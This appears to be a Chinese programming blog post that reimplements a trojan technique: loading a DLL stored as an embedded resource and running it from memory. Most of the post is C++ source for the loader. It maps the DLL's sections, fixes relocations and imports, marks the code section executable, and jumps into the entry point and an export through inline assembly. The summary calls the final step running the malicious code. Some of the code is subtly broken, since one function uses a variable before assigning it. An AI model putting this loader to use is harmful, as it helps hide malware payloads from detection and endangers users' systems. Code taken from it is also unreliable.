木马常见行为之内存加载DLL资源

前言

很多木马在初次释放恶意代码时,会加载资源文件到内存中。 在内存中展开区段数据,之后再修复重定位、导入表,然后执行恶意代码。 此次用代码实现一下。

详细代码

1.获取资源文件

//获取资源数据
LPVOID  LoadDll::GetResourceData(DWORD index)
{
	//声明变量初始化
	HMODULE   hModule = NULL;
	HRSRC     hRes = NULL;
	HGLOBAL   hLoadRes= NULL;
	DWORD     error = 0;
	DWORD     size = 0;
	LPVOID    pResData = NULL;
	LPVOID    pVirtualAddress = NULL;

	//获取句柄    null默认为进程模块句柄
	hModule = GetModuleHandle(NULL);

	//获取资源数据
	hRes = FindResourceA(hModule, MAKEINTRESOURCEA(index), "dll");
	if (hRes == NULL)    error = GetLastError();
	size = SizeofResource(hModule, hRes);
	hLoadRes = LoadResource(hModule, hRes);
	pResData = LockResource(hLoadRes);

	//申请内存,保存资源数据 
	pVirtualAddress = VirtualAlloc(NULL, size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	memcpy(pVirtualAddress, pResData, size);

	//释放句柄
	FreeResource(pResData);
	CloseHandle(hModule);
	CloseHandle(hRes);
	CloseHandle(hLoadRes);
	return pVirtualAddress;
}

2.内存对齐

//内存对齐默认为0x1000
DWORD  LoadDll::GetOffset(DWORD  size)
{
	DWORD   argc1 = 0;
	DWORD   argc2 = 0;


	argc1 = size % 0x1000;
	if (argc1 > 0)
	{
		argc2 = (size / 0x1000) + 1;
		return argc2;
	}
	else
	{
		argc2 = size / 0x1000;
		return argc2;
	}
}

3.PE文件的检测

//检测PE文件
BOOL   LoadDll::CheckPE(LPVOID  data)
{
	WORD    e_magic = 0;
	DWORD   Signature = 0;
	DWORD   offset = 0;
	PIMAGE_DOS_HEADER   pdos = NULL;
	PIMAGE_NT_HEADERS  pnt = NULL;

	//获取e_magic
	pdos = (PIMAGE_DOS_HEADER)data;
	e_magic = pdos->e_magic;
	if (e_magic != 0x5a4d)   return FALSE;

	//获取e_lfanew   NT头的偏移
	offset = pdos->e_lfanew;

	//获取 Signature
	pnt = (PIMAGE_NT_HEADERS)((DWORD)data + offset);
	Signature = pnt->Signature;
	if (Signature != 0x4550)  return FALSE;
	return TRUE;
}

4.内存展开区段数据

//内存展开区段数据
//结构体保存区段信息,用于修复重定位			
BOOL    LoadDll::ExpandVirtualData(LPVOID  data, RetData* retdata)
{
	//声明变量
	PIMAGE_DOS_HEADER   pdos = NULL;
	PIMAGE_NT_HEADERS   pnt = NULL;
	PIMAGE_FILE_HEADER  pfile = NULL;
	PIMAGE_OPTIONAL_HEADER  poptional = NULL;
	DWORD   count = 0;                   //区段数量
	DWORD   imagebase = 0;				 //镜像基址
	DWORD   imagesize = 0;				 //镜像大小
	DWORD   oep = 0;                     //入口点
	DWORD   AlignmentSize = 0;           //内存对齐后的大小
	LPVOID  p_address = NULL;            //申请的内存地址
	DWORD   index = 0;                   //区段数量

	//初始化
	pdos = (PIMAGE_DOS_HEADER)data;
	pnt = (PIMAGE_NT_HEADERS)((DWORD)data + pdos->e_lfanew);
	pfile = &(pnt->FileHeader);
	poptional = &(pnt->OptionalHeader);
	imagebase = poptional->ImageBase;
	imagesize = poptional->SizeOfImage;
	oep = poptional->AddressOfEntryPoint;


	//在内存中申请展开后的大小
	p_address = VirtualAlloc(NULL, imagesize, MEM_RESERVE, PAGE_READWRITE);
	if (p_address == NULL)  return  FALSE;

	//展开PE头
	p_address = VirtualAlloc(p_address, 0x1000, MEM_COMMIT, PAGE_READWRITE);
	if (p_address == NULL)  return  FALSE;
	oep = (DWORD)p_address + oep;
	retdata->old_imagebase = imagebase;
	retdata->new_imagebase = (DWORD)p_address;
	retdata->oep = oep;
   
    //复制PE头数据
	memcpy(p_address, data, 0x400);
	p_address = (LPVOID)((DWORD)p_address + 0x1000);


	//获取区段的数量和大小
	count = pfile->NumberOfSections;
	//获取区段信息        区段头表在NT头后面
	PIMAGE_SECTION_HEADER psection = IMAGE_FIRST_SECTION(pnt);

	//展开区段数据
	while (count)
	{

		DWORD   rawsize = psection->SizeOfRawData;   //文件大小
		DWORD   v_size = psection->Misc.VirtualSize;
		DWORD   rawdata = psection->PointerToRawData;   //文件数据指针
		
		LPVOID  data_addr = (LPVOID)((DWORD)data + rawdata);
		if (rawsize == 0)
		{
			if(v_size !=0)
			{
            	v_size = GetOffset(v_size) * 0x1000;
				p_address = VirtualAlloc(p_address, v_size, MEM_COMMIT, PAGE_READWRITE);
				if (p_address == NULL)  return  FALSE;
			}
		}
		else
		{
			v_size = GetOffset(rawsize) * 0x1000;
			p_address = VirtualAlloc(p_address, v_size, MEM_COMMIT, PAGE_READWRITE);
			if (p_address == NULL)  return  FALSE;
			memcpy(p_address, data_addr, rawsize);
		}
		retdata->s_info[index].address = (DWORD)p_address;
		retdata->s_info[index].size = (DWORD)v_size;
		memcpy(retdata->s_info[index].name, psection->Name, sizeof(psection->Name));
		p_address = (LPVOID)((DWORD)p_address + v_size);
		psection++;
		count--;
		index++;
	}

	retdata->index = index;
	return TRUE;
}

5.修复重定位

//修复重定位
void    LoadDll::FixReloc(RetData* rdata)
{
	//声明变量
	PIMAGE_DOS_HEADER   pdos = NULL;
	PIMAGE_NT_HEADERS   pnt = NULL;
	PIMAGE_FILE_HEADER  pfile = NULL;
	PIMAGE_OPTIONAL_HEADER  poptional = NULL;
	DWORD              old_imagebase;
	DWORD              new_imagebase;

	struct  typeoffset
	{
		WORD offset : 12;
		WORD type : 4;
	}*pTpOffset;

	

	//初始化
	pdos = (PIMAGE_DOS_HEADER)new_imagebase;
	pnt = (PIMAGE_NT_HEADERS)(new_imagebase + pdos->e_lfanew);
	poptional = &(pnt->OptionalHeader);
	old_imagebase = rdata->old_imagebase;
	new_imagebase = rdata->new_imagebase;


	//获取重定位表
	PIMAGE_BASE_RELOCATION   pRelTable = (PIMAGE_BASE_RELOCATION)(poptional->DataDirectory[5].VirtualAddress + new_imagebase);
	while (pRelTable->SizeOfBlock != 0)
	{
		pTpOffset = (typeoffset*)(pRelTable + 1);
		DWORD   RELcount = (pRelTable->SizeOfBlock - 8) / 2;
		for (int i = 0; i < RELcount; i++)
		{
			if (pTpOffset[i].type == 3)
			{
				DWORD  fix_addr = new_imagebase + pRelTable->VirtualAddress + pTpOffset[i].offset;
				*(DWORD*)fix_addr -= old_imagebase;
				*(DWORD*)fix_addr += new_imagebase;
			}
		}
		pRelTable = (IMAGE_BASE_RELOCATION*)((LPBYTE)pRelTable + pRelTable->SizeOfBlock);

	}
}

6.修复导入表

//修复导入表
BOOL   LoadDll::FixImport(RetData* rdata)
{
	//声明变量

	PIMAGE_DOS_HEADER    pDos = NULL;
	PIMAGE_NT_HEADERS    pNt = NULL;
	PIMAGE_OPTIONAL_HEADER    pOptional = NULL;
	PIMAGE_IMPORT_DESCRIPTOR  pImport = NULL;
	//基址
	DWORD  ImageBase = 0;
	//导入表结构体的数量   加载dll的数量
	DWORD      count = 0;
	//dll句柄
	HMODULE    hModule = NULL;
	//加载dll的名称的va
	char* dllname = NULL;
	//导入名称表
	PIMAGE_THUNK_DATA32      pINT = NULL;
	//导入地址表
	PIMAGE_THUNK_DATA32      pIAT = NULL;
	//函数名称地址
	FARPROC       pFunAddress = NULL;
	PIMAGE_IMPORT_BY_NAME    pBname = NULL;


	//变量初始化
	ImageBase = (DWORD)rdata->new_imagebase;
	pDos = (PIMAGE_DOS_HEADER)ImageBase;
	pNt = (PIMAGE_NT_HEADERS)(ImageBase + pDos->e_lfanew);
	pOptional = &(pNt->OptionalHeader);

	//检测导入表
	if (pOptional->DataDirectory[1].Size != 0)
	{
		count = (pOptional->DataDirectory[1].Size / 20) - 1;
		//导入表结构体指针
		pImport = (PIMAGE_IMPORT_DESCRIPTOR)(ImageBase + pOptional->DataDirectory[1].VirtualAddress);
		while (count)
		{
			dllname = (char*)(ImageBase + pImport->Name);
			if (dllname == NULL) return FALSE;
			hModule = LoadLibraryA(dllname);
			if (hModule == NULL) return FALSE;
			//获取导入地址表
			pIAT = (PIMAGE_THUNK_DATA32)(ImageBase + pImport->FirstThunk);

			while (pIAT->u1.Ordinal)
			{
				if (pIAT->u1.Ordinal & 0x80000000)
				{
					pFunAddress = GetProcAddress(hModule, (LPCSTR)(pIAT->u1.Ordinal & 0x7FFFFFFF));
				}
				else
				{
					pBname = (PIMAGE_IMPORT_BY_NAME)(ImageBase + pIAT->u1.AddressOfData);
					pFunAddress = GetProcAddress(hModule, pBname->Name);
				}
				pIAT->u1.Function = (DWORD)pFunAddress;
				pIAT++;
			}
			pImport++;
			count--;
		}
	}
	return TRUE;
}

7.修改区段属性

//修改区段内存属性
BOOL   LoadDll::ChangeProtect(RetData* rdata)
{
	//修改内存属性
	char  str1[MAX_PATH] = ".text";
	char  str2[MAX_PATH] = ".textbss";
	BOOL    ret = 0;
	DWORD  oldprotect = 0;
	for (int i = 0; i < rdata->index; i++)
	{
		if (strcmp(rdata->s_info[i].name, str1) == 0 || strcmp(rdata->s_info[i].name, str2) == 0)
		{
			ret = VirtualProtect((LPVOID)rdata->s_info[i].address, rdata->s_info[i].size, PAGE_EXECUTE_READWRITE, &oldprotect);
			if (ret == FALSE)     return FALSE;
		}
		else
		{
			ret = VirtualProtect((LPVOID)rdata->s_info[i].address, rdata->s_info[i].size, PAGE_READWRITE, &oldprotect);
			if (ret == FALSE)     return FALSE;
		}
	}
	return TRUE;
}

8.获取指定导出函数

DWORD   LoadDll::GetExportFun(RetData* rdata)
{
	//声明变量

	PIMAGE_DOS_HEADER    pDos = NULL;
	PIMAGE_NT_HEADERS    pNt = NULL;
	PIMAGE_OPTIONAL_HEADER    pOptional = NULL;
	PIMAGE_EXPORT_DIRECTORY    pExport = NULL;

	DWORD* EAT = NULL;
	DWORD* ENT = NULL;
	DWORD* EOT = NULL;
	char    str[MAX_PATH] = "fun";
	DWORD   addr = 0;


	DWORD   imagebase = rdata->new_imagebase;
	pDos = (PIMAGE_DOS_HEADER)imagebase;
	pNt = (PIMAGE_NT_HEADERS)(imagebase + pDos->e_lfanew);
	pOptional = &pNt->OptionalHeader;
	pExport = (PIMAGE_EXPORT_DIRECTORY)(imagebase + pOptional->DataDirectory[0].VirtualAddress);
	if (pOptional->DataDirectory[0].Size != 0)
	{
		EAT = (DWORD*)(imagebase + pExport->AddressOfFunctions);
		ENT = (DWORD*)(imagebase + pExport->AddressOfNames);
		EOT = (DWORD*)(imagebase + pExport->AddressOfNameOrdinals);
		DWORD  count = pExport->NumberOfFunctions;
		DWORD  index = 0;
		char* name = NULL;
		for (int i = 0; i < count; i++)
		{
			if (EAT[i] != 0)
			{
				name = (char*)(imagebase + ENT[i]);
				if (!strcmp(str, name))
				{
					index = (WORD)EOT[i];
					addr = imagebase + EAT[index];
				}
			}
		}
	}
	return  addr;
}

二、调用

1.头文件

代码如下:

class LoadDll
{

public:
	LoadDll();
	~LoadDll();
    //保存区段信息
	struct Section_Info
	{
		DWORD   address;      
		DWORD   size;
		char    name[MAX_PATH];
	};
	//保存数据
	struct RetData
	{
		DWORD          old_imagebase;
		DWORD          new_imagebase;
		DWORD          oep;
		DWORD          index;
		Section_Info*  s_info;
	};

	Section_Info    g_info[16] = { 0 };
	RetData  obj = {0};
	RetData* retdata = &obj;
	DWORD   GetOffset(DWORD  argc);
	LPVOID  GetResourceData(DWORD index);
	BOOL    CheckPE(LPVOID  data);
	BOOL    ExpandVirtualData(LPVOID  data, RetData* retdata);
	void    FixReloc(RetData* rdata);
	BOOL    FixImport(RetData* rdata);
	BOOL    ChangeProtect(RetData* rdata);
	DWORD   GetExportFun(RetData* rdata);
};

2.main

代码如下:

int main()
{
    //变量声明
	LPVOID          pData = NULL;
	BOOL            ret = FALSE;
	DWORD           oep = 0;
	DWORD           index = 110;     //资源ID
	LoadDll         dllobj;
	dllobj.retdata->s_info = dllobj.g_info;
	
	//获取资源文件数据
	pData = dllobj.GetResourceData(index);
	if (pData!=NULL)
	{
		ret= dllobj.CheckPE(pData);
		if (ret == FALSE)  return 0;
	}

	//在内存中展开资源数据
	ret= dllobj.ExpandVirtualData(pData,dllobj.retdata);
	if (ret==FALSE)  return FALSE;

	dllobj.FixReloc(dllobj.retdata);
	dllobj.FixImport(dllobj.retdata);
	ret = dllobj.ChangeProtect(dllobj.retdata);
	if (ret == FALSE)  return FALSE;

	//获取加载dll的导出函数,并运行
	DWORD  exportfun= dllobj.GetExportFun(dllobj.retdata);
	DWORD  argc = dllobj.retdata->new_imagebase;
	oep = dllobj.retdata->oep;
	
	//运行dll一种是重命名函数指针,指向dll的oep
	//typedef void (_stdcall *My_DllMain)(HMODULE, DWORD, LPVOID);
	//My_DllMain DllMain;
	//DllMain = (My_DllMain)(oep);
	//DllMain((HMODULE)argc,1,0);
	
	DWORD  retaddr = 0;

	__asm
	{
		push eax; 
		call geteip
	geteip:
		pop eax;
		mov retaddr, eax;
		add retaddr, 0x22;
		pop eax;
		push 0;
		push 1;
		push argc; 
		push retaddr;
		jmp oep;
		add retaddr, 0x13;
		push retaddr;
		jmp exportfun;
	}
	cout <<"成功运行" << endl;
	system("pause");
    return 0;
}

总结

因为有的木马会在dllmian中什么也不做,而是加载导出函数执行恶意代码,
所以实现了获取导出函数执行,并且安全返回。
大致流程就是:
1.加载资源中的恶意dll
2.内存展开dll数据
3.修复重定位
4.修复导入表
5.修改区段内存属性
6.获取导出函数
7.执行恶意代码。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
内存加载动态库 MemoryLoadLibrary 有例子。 /* * Memory DLL loading code * Version 0.0.3 * * Copyright (c) 2004-2013 by Joachim Bauch / mail@joachim-bauch.de * http://www.joachim-bauch.de * * The contents of this file are subject to the Mozilla Public License Version * 2.0 (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * http://www.mozilla.org/MPL/ * * Software distributed under the License is distributed on an "AS IS" basis, * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License * for the specific language governing rights and limitations under the * License. * * The Original Code is MemoryModule.h * * The Initial Developer of the Original Code is Joachim Bauch. * * Portions created by Joachim Bauch are Copyright (C) 2004-2013 * Joachim Bauch. All Rights Reserved. * */ #ifndef __MEMORY_MODULE_HEADER #define __MEMORY_MODULE_HEADER #include typedef void *HMEMORYMODULE; typedef void *HMEMORYRSRC; typedef void *HCUSTOMMODULE; #ifdef __cplusplus extern "C" { #endif typedef HCUSTOMMODULE (*CustomLoadLibraryFunc)(LPCSTR, void *); typedef FARPROC (*CustomGetProcAddressFunc)(HCUSTOMMODULE, LPCSTR, void *); typedef void (*CustomFreeLibraryFunc)(HCUSTOMMODULE, void *); /** * Load DLL from memory location. * * All dependencies are resolved using default LoadLibrary/GetProcAddress * calls through the Windows API. */ HMEMORYMODULE MemoryLoadLibrary(const void *); /** * Load DLL from memory location using custom dependency resolvers. * * Dependencies will be resolved using passed callback methods. */ HMEMORYMODULE MemoryLoadLibraryEx(const void *, CustomLoadLibraryFunc, CustomGetProcAddressFunc, CustomFreeLibraryFunc, void *); /** * Get address of exported method. */ FARPROC MemoryGetProcAddress(HMEMORYMODULE, LPCSTR); /** * Free previously loaded DLL. */ void MemoryFreeLibrary(HMEMORYMODULE); /** * Find the location of
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值